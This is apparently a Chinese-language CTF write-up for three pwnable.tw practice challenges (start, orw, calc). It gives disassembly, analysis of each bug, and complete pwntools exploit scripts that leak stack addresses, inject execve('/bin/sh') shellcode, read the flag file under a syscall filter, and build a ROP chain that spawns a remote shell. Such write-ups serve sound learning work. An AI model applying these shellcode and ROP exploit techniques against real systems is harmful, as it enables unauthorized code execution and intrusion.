start
是我太年轻了,第一题做了一小时半才拿到flag……
首先一看,保护全关的32位程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| $ objdump -d -M Intel ./start
./start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>: 8048060: 54 push %esp 8048061: 68 9d 80 04 08 push $0x804809d 8048066: 31 c0 xor %eax,%eax 8048068: 31 db xor %ebx,%ebx 804806a: 31 c9 xor %ecx,%ecx 804806c: 31 d2 xor %edx,%edx 804806e: 68 43 54 46 3a push $0x3a465443 8048073: 68 74 68 65 20 push $0x20656874 8048078: 68 61 72 74 20 push $0x20747261 804807d: 68 73 20 73 74 push $0x74732073 8048082: 68 4c 65 74 27 push $0x2774654c 8048087: 89 e1 mov %esp,%ecx 8048089: b2 14 mov $0x14,%dl 804808b: b3 01 mov $0x1,%bl 804808d: b0 04 mov $0x4,%al 804808f: cd 80 int $0x80 8048091: 31 db xor %ebx,%ebx 8048093: b2 3c mov $0x3c,%dl 8048095: b0 03 mov $0x3,%al 8048097: cd 80 int $0x80 8048099: 83 c4 14 add $0x14,%esp 804809c: c3 ret
0804809d <_exit>: 804809d: 5c pop %esp 804809e: 31 c0 xor %eax,%eax 80480a0: 40 inc %eax 80480a1: cd 80 int $0x80
|
有3个syscall,一个write把一个字符串写到1,一个read从0读入字符到栈上,一个exit退出。显然read这边有个栈溢出漏洞,可以把返回地址覆盖掉。
首先想到直接在返回地址后面写一段shellcode执行execve(“/bin/sh”, 0, 0),想盲打打中栈地址。但是试了几次发现即使是32位的程序,也有至少19个二进制位的随机变化,要十几个小时才能打中,于是算了。
然后想ROP试试,但是怎么想也想不出方法。
最后想到重新执行的思想,我可以重新执行write和read,把栈上的栈地址(嗯?)泄露出来,这样就可以把控制流精准控制成我的shellcode了。
然后终于做出来了,你说我怎么老是最后才想到重新执行这种方法……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.arch = 'i386'
p = remote("chall.pwnable.tw", 10000)
payload = b'a' * 0x14 payload += pack(0x08048087, 32)
p.recv() p.send(payload) mes=p.recv() print(mes)
stack = unpack(mes[0:0+4]) - 4 shcode_addr = stack + 0x14 + 4 print(hex(stack))
payload = b'/bin/sh' + b'\x00'*13 payload += pack(shcode_addr) payload += asm(f''' mov eax, 11 mov ebx, {stack} mov ecx, 0 mov edx, 0 int 0x80 ''')
p.send(payload) p.interactive()
|
orw
程序会读入一段shellcode并执行,并且限制syscall只能调用orw。
先用read读入/home/orw/flag,然后orw就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * context.arch = 'i386'
p = remote("chall.pwnable.tw", 10001)
buf_addr = 0x0804A0C0
payload = asm(f''' mov eax, 3 xor ebx, ebx mov ecx, {buf_addr} mov edx, 20 int 0x80
mov eax, 5 mov ebx, {buf_addr} xor ecx, ecx xor edx, edx int 0x80
mov ebx, eax mov eax, 3 mov ecx, {buf_addr} mov edx, 50 int 0x80
mov eax, 4 mov ebx, 1 mov ecx, {buf_addr} mov edx, 50 int 0x80 ''')
print(p.recvS()) p.sendline(payload) p.send(b'/home/orw/flag') p.interactive()
|
calc
除了PIE,其他保护全开。
是一个计算器,将读入的表达式转换成逆波兰表达法之后,用栈进行求值。
主要漏洞在于,在利用栈进行求值的时候,这个存数字的栈用[0]存储栈的高度,用[1]及以上空间存储数字。
所以当我输入 +1
的时候,这个1将会直接被加到栈的高度上,之后就可以通过修改栈高度+构造表达式。来达成栈以上地址任意读写(实际只用到了任意写)。
遇到了两个坑,一是写入一个数字的时候,比这个数字低位的数字将会受到影响;二是运算数不能为0。
前者利用倒过来写入(从上往下写)解决,后者我利用构造表达式解决(后来发现了更简单的方法,由于是将运算数与”0”进行strcmp来判断的,我可以输入000来表示0)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * context.arch = 'i386'
p = remote("chall.pwnable.tw", 10100)
read_addr = 0x0806e6d0 buf_addr = 0x080ecf00
int_0x80 = 0x08070880 sh_str = 0x08051ce9 pop_eax = 0x0805c34b pop_ecx_ebx = 0x080701d1 pop_edx = 0x080701aa pop_3 = 0x080483ac
payload = f'''+371+{int_0x80}/1-{int_0x80} +370+{pop_edx} +368+{buf_addr}/1-{buf_addr} +367+{pop_ecx_ebx} +366+11 +365+{pop_eax} +364+10 +362+{buf_addr}/1-{buf_addr} +361+{pop_3} +360+{read_addr} '''.encode('ascii')
print(p.recvS()) p.sendline(payload) p.send(b'/bin/sh\x00') p.interactive()
|